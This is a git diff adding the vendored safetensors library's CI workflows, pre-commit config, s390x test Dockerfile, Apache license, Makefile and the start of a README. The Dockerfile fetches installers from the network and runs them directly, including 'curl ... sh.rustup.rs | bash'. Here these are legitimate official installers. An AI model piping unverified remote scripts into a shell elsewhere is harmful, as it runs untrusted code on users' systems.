b/extensions/safetensors/.github/workflows/codecov.yml @@ -0,0 +1,37 @@ +name: Code coverage +on: + push: + branches: + - main + +jobs: + build: + runs-on: ubuntu-latest + defaults: + run: + working-directory: ./safetensors + + steps: + - uses: actions/checkout@v3 + + - name: Install Rust Stable + uses: actions-rs/toolchain@v1 + with: + toolchain: stable + components: llvm-tools-preview + override: true + + - uses: Swatinem/rust-cache@v2 + + - name: Install cargo-llvm-cov for Ubuntu + run: cargo install cargo-llvm-cov + + - name: Coverage report + run: cargo llvm-cov --release --lcov --output-path lcov.info + + - name: Upload to codecov.io + uses: codecov/codecov-action@v3 + with: + token: ${{ secrets.CODECOV_TOKEN }} # not required for public repos + working-directory: ./safetensors + fail_ci_if_error: true diff --git a/extensions/safetensors/.github/workflows/delete_doc_comment.yml b/extensions/safetensors/.github/workflows/delete_doc_comment.yml new file mode 100644 index 0000000000000000000000000000000000000000..72801c856eb5155ccf321d63be37bd146aff260d --- /dev/null +++ b/extensions/safetensors/.github/workflows/delete_doc_comment.yml @@ -0,0 +1,13 @@ +name: Delete doc comment + +on: + workflow_run: + workflows: ["Delete doc comment trigger"] + types: + - completed + +jobs: + delete: + uses: huggingface/doc-builder/.github/workflows/delete_doc_comment.yml@main + secrets: + comment_bot_token: ${{ secrets.COMMENT_BOT_TOKEN }} \ No newline at end of file diff --git a/extensions/safetensors/.github/workflows/delete_doc_comment_trigger.yml b/extensions/safetensors/.github/workflows/delete_doc_comment_trigger.yml new file mode 100644 index 0000000000000000000000000000000000000000..57415f3d075f96f6e00099bc33f48c7b8bb1cfb0 --- /dev/null +++ b/extensions/safetensors/.github/workflows/delete_doc_comment_trigger.yml @@ -0,0 +1,11 @@ +name: Delete doc comment trigger + +on: + pull_request: + types: [ closed ] + +jobs: + delete: + uses: huggingface/doc-builder/.github/workflows/delete_doc_comment_trigger.yml@main + with: + pr_number: ${{ github.event.number }} \ No newline at end of file diff --git a/extensions/safetensors/.github/workflows/python-bench.yml b/extensions/safetensors/.github/workflows/python-bench.yml new file mode 100644 index 0000000000000000000000000000000000000000..b97ecafb43f2437e5258918b47b52d2d90063d1b --- /dev/null +++ b/extensions/safetensors/.github/workflows/python-bench.yml @@ -0,0 +1,61 @@ +name: Simple benchmarks +on: + push: + branches: + - main + +permissions: + # deployments permission to deploy GitHub pages website + deployments: write + # contents permission to update benchmark contents in gh-pages branch + contents: write + +jobs: + benchmark: + name: Performance regression check + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + - name: Install Rust + uses: actions-rs/toolchain@v1 + with: + toolchain: stable + components: rustfmt, clippy + + - name: Install Python + uses: actions/setup-python@v2 + with: + python-version: "3.10" + architecture: "x64" + + - name: Install + working-directory: ./bindings/python + run: | + pip install -U pip + pip install .[dev] + + - name: Run tests + working-directory: ./bindings/python + run: | + cargo test + pytest --benchmark-json output.json benches/ + # Download previous benchmark result from cache (if exists) + - name: Download previous benchmark data + uses: actions/cache@v1 + with: + path: ./cache + key: ${{ runner.os }}-benchmark + # Run `github-action-benchmark` action + - name: Store benchmark result + uses: benchmark-action/github-action-benchmark@v1 + with: + # What benchmark tool the output.txt came from + tool: 'pytest' + # Where the output from the benchmark tool is stored + output-file-path: ./bindings/python/output.json + github-token: ${{ secrets.GITHUB_TOKEN }} + # Push and deploy GitHub pages branch automatically + auto-push: true + comment-on-alert: true + # Mention @rhysd in the commit comment + alert-comment-cc-users: '@Narsil' diff --git a/extensions/safetensors/.github/workflows/python-release-conda.yml b/extensions/safetensors/.github/workflows/python-release-conda.yml new file mode 100644 index 0000000000000000000000000000000000000000..2c81be931a132a4cc71a4e7ec57ff0c8b9793bda --- /dev/null +++ b/extensions/safetensors/.github/workflows/python-release-conda.yml @@ -0,0 +1,134 @@ +name: Python Release - Conda + +on: + push: + tags: + - v* + +env: + ANACONDA_API_TOKEN: ${{ secrets.ANACONDA_API_TOKEN }} + +jobs: + build_and_package: + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [windows-latest, macos-latest] + # 3.11 not available on Conda yet. + python: ["3.8", "3.9", "3.10", "3.11"] + + steps: + - name: Checkout repository + uses: actions/checkout@v3 + + - name: Install miniconda + uses: conda-incubator/setup-miniconda@v2 + with: + auto-update-conda: true + python-version: ${{ matrix.python }} + + - name: Conda info + shell: bash -l {0} + run: conda info + + - name: Install Rust + uses: actions-rs/toolchain@v1 + with: + toolchain: stable + + - name: Setup conda env + shell: bash -l {0} + run: | + conda install setuptools-rust + conda install -c defaults anaconda-client conda-build + + - name: Extract version + shell: bash -l {0} + working-directory: ./bindings/python + run: echo "SAFETENSORS_VERSION=`grep -m 1 version Cargo.toml | grep -e '".*"' -o | tr -d '"' | sed s/-/./ `" >> $GITHUB_ENV + + - name: Build conda packages + shell: bash -l {0} + run: | + conda info + conda list + conda-build .github/conda --python=${{ matrix.python }} + + - name: Upload to Anaconda + shell: bash -l {0} + run: | + anaconda upload `conda-build .github/conda --output` --force + + build_and_package_linux: + runs-on: ubuntu-latest + container: quay.io/pypa/manylinux2014_x86_64 + + strategy: + fail-fast: false + matrix: + python: [38, 39, 310, 311] + include: + - python: 38 + checksum: e2a4438671e0e42c5bba14cb51de6ce9763938184d6ca2967340bbe972bbe7e6 + - python: 39 + checksum: 9829d95f639bd0053b2ed06d1204e60644617bf37dd5cc57523732e0e8d64516 + - python: 310 + checksum: ea5e6e8a3d5a0247b9df85382d27220fac8e59b5778fd313c5913879cd9baafc + - python: 311 + checksum: 634d76df5e489c44ade4085552b97bebc786d49245ed1a830022b0b406de5817 + + steps: + - name: Checkout repository + uses: actions/checkout@v2 + + - name: Install miniconda + run: | + yum install -y wget openssl-devel + export FILENAME=Miniconda3-py${{ matrix.python }}_23.5.2-0-Linux-x86_64.sh + wget https://repo.anaconda.com/miniconda/$FILENAME + sha256sum $FILENAME | awk '$1=="${{ matrix.checksum}}"{print"good to go"}' + bash $FILENAME -b -p $HOME/miniconda + source $HOME/miniconda/bin/activate + + - name: Show glibc information + shell: bash -l {0} + run: ldd --version + + - name: Conda info + shell: bash -l {0} + run: | + source $HOME/miniconda/bin/activate + conda info + + - name: Install Rust + uses: actions-rs/toolchain@v1 + with: + toolchain: stable + + - name: Setup conda env + shell: bash -l {0} + run: | + source $HOME/miniconda/bin/activate + conda install setuptools-rust + conda install -c defaults anaconda-client conda-build + + - name: Extract version + shell: bash -l {0} + working-directory: ./bindings/python + run: | + source $HOME/miniconda/bin/activate + echo "SAFETENSORS_VERSION=`grep -m 1 version Cargo.toml | grep -e '".*"' -o | tr -d '"' | sed s/-/./ `" >> $GITHUB_ENV + + - name: Build conda packages + shell: bash -l {0} + run: | + source $HOME/miniconda/bin/activate + conda info + conda list + conda-build .github/conda --python=${{ matrix.python }} + + - name: Upload to Anaconda + shell: bash -l {0} + run: | + source $HOME/miniconda/bin/activate + anaconda upload `conda-build .github/conda --output` --force diff --git a/extensions/safetensors/.github/workflows/python-release.yml b/extensions/safetensors/.github/workflows/python-release.yml new file mode 100644 index 0000000000000000000000000000000000000000..b3264fb07a7228b334d9cb56a06a51e4deeae2ce --- /dev/null +++ b/extensions/safetensors/.github/workflows/python-release.yml @@ -0,0 +1,181 @@ +name: Python Release +on: + push: + tags: + - v* + +env: + AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} + AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} + AWS_DEFAULT_REGION: us-east-1 + PYPI_TOKEN: ${{ secrets.PYPI_TOKEN_DIST }} + DIST_DIR: ${{ github.sha }} + +jobs: + lock_exists: + runs-on: ubuntu-latest + name: Cargo.lock + steps: + - uses: actions/checkout@v3 + - name: Cargo.lock lock exists + run: cat Cargo.lock + working-directory: ./bindings/python + + build: + name: build on ${{ matrix.platform || matrix.os }} (${{ matrix.target }} - ${{ matrix.manylinux || 'auto' }}) + # only run on push to main and on release + needs: [lock_exists] + if: startsWith(github.ref, 'refs/tags/') || github.ref == 'refs/heads/main' || contains(github.event.pull_request.labels.*.name, 'Full Build') + strategy: + fail-fast: false + matrix: + os: [ubuntu, macos, windows] + target: [x86_64, aarch64] + manylinux: [auto] + include: + - os: ubuntu + platform: linux + - os: windows + ls: dir + interpreter: 3.7 3.8 3.9 3.10 3.11 3.12 pypy3.8 pypy3.9 pypy3.10 + - os: windows + ls: dir + target: i686 + python-architecture: x86 + interpreter: 3.7 3.8 3.9 3.10 3.11 + - os: windows + ls: dir + target: x86_64 + python-architecture: x64 + interpreter: 3.7 3.8 3.9 3.10 3.11 + # - os: windows + # ls: dir + # target: aarch64 + # interpreter: 3.11 3.12 + - os: macos + target: aarch64 + interpreter: 3.7 3.8 3.9 3.10 3.11 3.12 pypy3.8 pypy3.9 pypy3.10 + - os: ubuntu + platform: linux + target: i686 + - os: ubuntu + platform: linux + target: aarch64 + + - os: ubuntu + platform: linux + target: armv7 + interpreter: 3.7 3.8 3.9 3.10 3.11 3.12 + # musllinux + - os: ubuntu + platform: linux + target: x86_64 + manylinux: musllinux_1_1 + - os: ubuntu + platform: linux + target: aarch64 + manylinux: musllinux_1_1 + - os: ubuntu + platform: linux + target: ppc64le + interpreter: 3.7 3.8 3.9 3.10 3.11 3.12 + - os: ubuntu + platform: linux + target: s390x + interpreter: 3.7 3.8 3.9 3.10 3.11 3.12 + exclude: + # Optimized PGO builds for x86_64 manylinux and windows follow a different matrix, + # maybe in future maturin-action can support this automatically + # - os: ubuntu + # target: x86_64 + # manylinux: auto + # - os: windows + # target: x86_64 + # Windows on arm64 only supports Python 3.11+ + - os: windows + target: aarch64 + + runs-on: ${{ matrix.os }}-latest + steps: + - uses: actions/checkout@v3 + + - name: set up python + uses: actions/setup-python@v4 + with: + python-version: '3.11' + architecture: ${{ matrix.python-architecture || 'x64' }} + + - run: pip install -U twine + + - name: build wheels + uses: PyO3/maturin-action@v1 + with: + target: ${{ matrix.target }} + working-directory: ./bindings/python + manylinux: ${{ matrix.manylinux || 'auto' }} + container: ${{ matrix.container }} + args: --release --out dist --interpreter ${{ matrix.interpreter || '3.7 3.8 3.9 3.10 3.11 3.12 pypy3.7 pypy3.8 pypy3.9 pypy3.10' }} ${{ matrix.extra-build-args }} + rust-toolchain: stable + docker-options: -e CI + + - run: ${{ matrix.ls || 'ls -lh' }} dist/ + working-directory: ./bindings/python + + - run: twine check --strict dist/* + working-directory: ./bindings/python + + - name: Upload wheels + shell: bash + run: | + pip install awscli + aws s3 sync --exact-timestamps ./bindings/python/dist "s3://safetensors-releases/python/$DIST_DIR" + + # - uses: actions/upload-artifact@v3 + # working-directory: ./bindings/python/ + # with: + # name: pypi_files + # path: dist + build-sdist: + name: build sdist + needs: [lock_exists] + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + - uses: PyO3/maturin-action@v1 + with: + working-directory: ./bindings/python + command: sdist + args: --out dist + rust-toolchain: stable + - name: Upload wheels + shell: bash + run: | + pip install awscli + aws s3 sync --exact-timestamps ./bindings/python/dist "s3://safetensors-releases/python/$DIST_DIR" + + + upload_package: + name: Upload package to PyPi + runs-on: ubuntu-latest + needs: [build, build-sdist] + + steps: + - uses: actions/checkout@v3 + + - name: Install Python + uses: actions/setup-python@v4 + with: + python-version: "3.10" + architecture: x64 + + - name: Retrieve all wheels + shell: bash + run: | + pip install awscli + aws s3 sync "s3://safetensors-releases/python/$DIST_DIR" ./bindings/python/dist + + - name: Upload to PyPi + working-directory: ./bindings/python + run: | + pip install twine + twine upload dist/* -u __token__ -p "$PYPI_TOKEN" diff --git a/extensions/safetensors/.github/workflows/python.yml b/extensions/safetensors/.github/workflows/python.yml new file mode 100644 index 0000000000000000000000000000000000000000..3edfed1a2bc80704a1705ce663216e124d924637 --- /dev/null +++ b/extensions/safetensors/.github/workflows/python.yml @@ -0,0 +1,118 @@ +name: Python + +on: + pull_request: + +jobs: + build_and_test: + name: Check everything builds & tests + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-latest, macos-latest, windows-latest] + # Lowest and highest, no version specified so that + # new releases get automatically tested against + version: [{torch: torch==1.10, python: "3.8"}, {torch: torch, python: "3.10"}] + defaults: + run: + working-directory: ./bindings/python + steps: + - name: Checkout repository + uses: actions/checkout@v3 + + + - name: Install Rust + uses: actions-rs/toolchain@v1 + with: + toolchain: stable + components: rustfmt, clippy + + - uses: Swatinem/rust-cache@v2 + with: + workspaces: "bindings/python" + + - name: Install Python + uses: actions/setup-python@v2 + with: + python-version: ${{ matrix.version.python }} + architecture: "x64" + + - name: Lint with RustFmt + run: cargo fmt -- --check + + - name: Lint with Clippy + run: cargo clippy --all-targets --all-features -- -D warnings + + - name: Run Audit + run: cargo audit -D warnings + + - name: Install + run: | + pip install -U pip + pip install .[numpy,tensorflow,paddlepaddle] + pip install ${{ matrix.version.torch }} + + - name: Install (jax, flax) + if: matrix.os != 'windows-latest' + run: | + pip install .[jax] + shell: bash + + - name: Check style + run: | + pip install .[quality] + black --check --line-length 119 --target-version py35 py_src/safetensors tests + + - name: Run tests + run: | + cargo test + pip install .[testing] + pytest -sv tests/ + + test_s390x_big_endian: + runs-on: ubuntu-latest + name: Test bigendian - S390X + steps: + - uses: actions/checkout@v2 + - name: Set up QEMU + uses: docker/setup-qemu-action@v2 + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v2 + - uses: tailscale/github-action@v1 + with: + authkey: ${{ secrets.TAILSCALE_AUTHKEY }} + - name: Set short sha + id: vars + run: echo "GITHUB_SHA_SHORT=$(git rev-parse --short HEAD)" >> $GITHUB_ENV + - name: Docker meta + id: meta + uses: docker/metadata-action@v4 + with: + # list of Docker images to use as base name for tags + images: | + registry.internal.huggingface.tech/safetensors/s390x + # generate Docker tags based on the following events/attributes + tags: | + type=schedule + type=ref,event=branch + type=ref,event=pr + type=semver,pattern={{version}} + type=semver,pattern={{major}}.{{minor}} + type=semver,pattern={{major}} + type=sha + - name: Login to Registry + uses: docker/login-action@v2 + with: + registry: registry.internal.huggingface.tech + username: ${{ secrets.REGISTRY_USERNAME }} + password: ${{ secrets.REGISTRY_PASSWORD }} + - name: Test big endian + uses: docker/build-push-action@v4 + with: + push: true + platforms: linux/s390x + file: Dockerfile.s390x.test + tags: ${{ steps.meta.outputs.tags }} + labels: ${{ steps.meta.outputs.labels }} + cache-from: type=registry,ref=registry.internal.huggingface.tech/safetensors/s390x:cache,mode=min + cache-to: type=registry,ref=registry.internal.huggingface.tech/safetensors/s390x:cache,mode=min diff --git a/extensions/safetensors/.github/workflows/rust-release.yml b/extensions/safetensors/.github/workflows/rust-release.yml new file mode 100644 index 0000000000000000000000000000000000000000..03341944683c4dd9841ede941d82c276e20d065b --- /dev/null +++ b/extensions/safetensors/.github/workflows/rust-release.yml @@ -0,0 +1,33 @@ +name: Rust Release + +env: + CRATES_TOKEN: ${{ secrets.CRATES_TOKEN }} + +on: + push: + tags: + - v* + +jobs: + rust_publish: + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v3 + + - name: Install Rust + uses: actions-rs/toolchain@v1 + with: + toolchain: stable + + - name: Cache Cargo Registry + uses: actions/cache@v1 + with: + path: ~/.cargo/registry + key: ubuntu-latest-cargo-registry-${{ hashFiles('**/Cargo.toml') }} + + - name: Publish package rust + if: ${{ !contains(github.ref, 'rc') }} + working-directory: ./safetensors + run: cargo publish --token ${CRATES_TOKEN} + diff --git a/extensions/safetensors/.github/workflows/rust.yml b/extensions/safetensors/.github/workflows/rust.yml new file mode 100644 index 0000000000000000000000000000000000000000..4c636c2b30ed2a92aec63c8c83566ba85da8dea4 --- /dev/null +++ b/extensions/safetensors/.github/workflows/rust.yml @@ -0,0 +1,65 @@ +name: Rust + +on: + pull_request: + +jobs: + build: + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-latest, windows-latest, macOS-latest] + defaults: + run: + working-directory: ./safetensors + + steps: + - uses: actions/checkout@v3 + + - name: Install Rust Stable + uses: actions-rs/toolchain@v1 + with: + toolchain: stable + components: rustfmt, clippy, llvm-tools-preview + override: true + + - uses: Swatinem/rust-cache@v2 + + - name: Install cargo-llvm-cov for Ubuntu + if: matrix.os == 'ubuntu-latest' + run: cargo install cargo-llvm-cov + + - name: Install cargo-readme for Ubuntu + if: matrix.os == 'ubuntu-latest' + run: cargo install cargo-readme + + - name: Build + run: cargo build --all-targets --verbose + + - name: Lint with Clippy + run: cargo clippy --all-targets --all-features -- -D warnings + + - name: Run Tests + run: cargo test --verbose + + - name: Run Audit + # RUSTSEC-2021-0145 is criterion so only within benchmarks + run: cargo audit -D warnings --ignore RUSTSEC-2021-0145 + + - name: Coverage report + if: matrix.os == 'ubuntu-latest' + run: cargo llvm-cov --release --lcov --output-path lcov.info + + - name: Upload to codecov.io + if: matrix.os == 'ubuntu-latest' + uses: codecov/codecov-action@v3 + with: + token: ${{ secrets.CODECOV_TOKEN }} # not required for public repos + working-directory: ./safetensors + fail_ci_if_error: true + + # Verify that Readme.md is up to date. + - name: Make sure, Readme generated from lib.rs matches actual Readme + if: matrix.os == 'ubuntu-latest' + shell: bash + run: cargo readme > must_match_readme.md && diff must_match_readme.md README.md && diff must_match_readme.md ../README.md diff --git a/extensions/safetensors/.github/workflows/upload_pr_documentation.yml b/extensions/safetensors/.github/workflows/upload_pr_documentation.yml new file mode 100644 index 0000000000000000000000000000000000000000..3beea61cd64842f10b1d4c93dd00bf1330b7463a --- /dev/null +++ b/extensions/safetensors/.github/workflows/upload_pr_documentation.yml @@ -0,0 +1,16 @@ +name: Upload PR Documentation + +on: + workflow_run: + workflows: ["Build PR Documentation"] + types: + - completed + +jobs: + build: + uses: huggingface/doc-builder/.github/workflows/upload_pr_documentation.yml@main + with: + package_name: safetensors + secrets: + hf_token: ${{ secrets.HF_DOC_BUILD_PUSH }} + comment_bot_token: ${{ secrets.COMMENT_BOT_TOKEN }} \ No newline at end of file diff --git a/extensions/safetensors/.gitignore b/extensions/safetensors/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..5eaf9f8c502b6a71e9e1fc1dce45932096823b8c --- /dev/null +++ b/extensions/safetensors/.gitignore @@ -0,0 +1,10 @@ +safetensors/target +safetensors/**/Cargo.lock +bindings/python/Cargo.lock +*.bin +*.h5 +*.msgpack +*.pt +*.pdparams +*.safetensors +*.npz diff --git a/extensions/safetensors/.pre-commit-config.yaml b/extensions/safetensors/.pre-commit-config.yaml new file mode 100644 index 0000000000000000000000000000000000000000..06f77d27aaeafe328b0551080c1d0f0e3f71dc55 --- /dev/null +++ b/extensions/safetensors/.pre-commit-config.yaml @@ -0,0 +1,51 @@ +repos: + - repo: https://github.com/Narsil/pre-commit-rust + rev: 0c016cee78144d06d906fccc7715d607a946ca5c + hooks: + - id: fmt + name: "Rust (fmt)" + args: ["--manifest-path", "safetensors/Cargo.toml", "--"] + - id: clippy + name: "Rust (clippy)" + args: + [ + "--manifest-path", + "safetensors/Cargo.toml", + "--all-features", + "--all-targets", + "--", + "-Dwarnings", + ] + - repo: https://github.com/Narsil/pre-commit-rust + rev: 0c016cee78144d06d906fccc7715d607a946ca5c + hooks: + - id: fmt + name: "Python (fmt)" + args: ["--manifest-path", "bindings/python/Cargo.toml", "--"] + - id: clippy + name: "Python (clippy)" + args: + [ + "--manifest-path", + "bindings/python/Cargo.toml", + "--all-features", + "--all-targets", + "--", + "-Dwarnings", + ] + - repo: https://github.com/psf/black + rev: 22.3.0 + hooks: + - id: black + name: "Python (black)" + args: ["--line-length", "119", "--target-version", "py35"] + types: ["python"] + - repo: https://github.com/pycqa/flake8 + rev: 3.8.3 + hooks: + - id: flake8 + args: ["--config", "bindings/python/setup.cfg"] + - repo: https://github.com/pre-commit/mirrors-isort + rev: v5.7.0 # Use the revision sha / tag you want to point at + hooks: + - id: isort diff --git a/extensions/safetensors/Dockerfile.s390x.test b/extensions/safetensors/Dockerfile.s390x.test new file mode 100644 index 0000000000000000000000000000000000000000..d1dc75830bc5931f655b7836bbec7b0482caba01 --- /dev/null +++ b/extensions/safetensors/Dockerfile.s390x.test @@ -0,0 +1,17 @@ +FROM s390x/python +RUN wget https://repo.anaconda.com/miniconda/Miniconda3-py311_23.5.2-0-Linux-s390x.sh \ + && bash Miniconda3-py311_23.5.2-0-Linux-s390x.sh -b \ + && rm -f Miniconda3-py311_23.5.2-0-Linux-s390x.sh +RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | bash -s -- -y +RUN /root/miniconda3/bin/conda install pytorch cpuonly -c pytorch -y +WORKDIR /safetensors/ +RUN /root/miniconda3/bin/pip install -U pip pytest +# RUN /root/miniconda3/bin/pip install -U huggingface_hub +# RUN /root/miniconda3/bin/python -c 'from huggingface_hub import hf_hub_download; filename = hf_hub_download("roberta-base", "model.safetensors")' +COPY . . +SHELL ["/bin/bash", "-c"] +WORKDIR /safetensors/bindings/python/ +RUN source /root/.cargo/env && /root/miniconda3/bin/pip install -e . +RUN /root/miniconda3/bin/pytest -sv tests/test_pt_* tests/test_simple.py +# RUN /root/miniconda3/bin/python -c 'from huggingface_hub import hf_hub_download; filename = hf_hub_download("roberta-base", "model.safetensors"); from safetensors.torch import load_file; weights = load_file(filename); assert weights["roberta.embeddings.position_embeddings.weight"][0][0].abs().item() > 1e-10' +ENTRYPOINT /bin/bash diff --git a/extensions/safetensors/LICENSE b/extensions/safetensors/LICENSE new file mode 100644 index 0000000000000000000000000000000000000000..261eeb9e9f8b2b4b0d119366dda99c6fd7d35c64 --- /dev/null +++ b/extensions/safetensors/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/extensions/safetensors/Makefile b/extensions/safetensors/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..e75a2dfaa8d9389a2584b2d25b2d444d2ac1ea00 --- /dev/null +++ b/extensions/safetensors/Makefile @@ -0,0 +1,2 @@ +doc: + cd safetensors && cargo readme > README.md && cargo readme > ../README.md && cd .. diff --git a/extensions/safetensors/README.md b/extensions/safetensors/README.md new file mode 100644 index 0000000000000000000000000000000000000000..240ed6dd3a35c9442167ace65106b28d1646641b --- /dev/null +++ b/extensions/safetensors/README.md @@ -0,0 +1,190 @@ +

+ + + + Hugging Face Safetensors Library + +
+
+

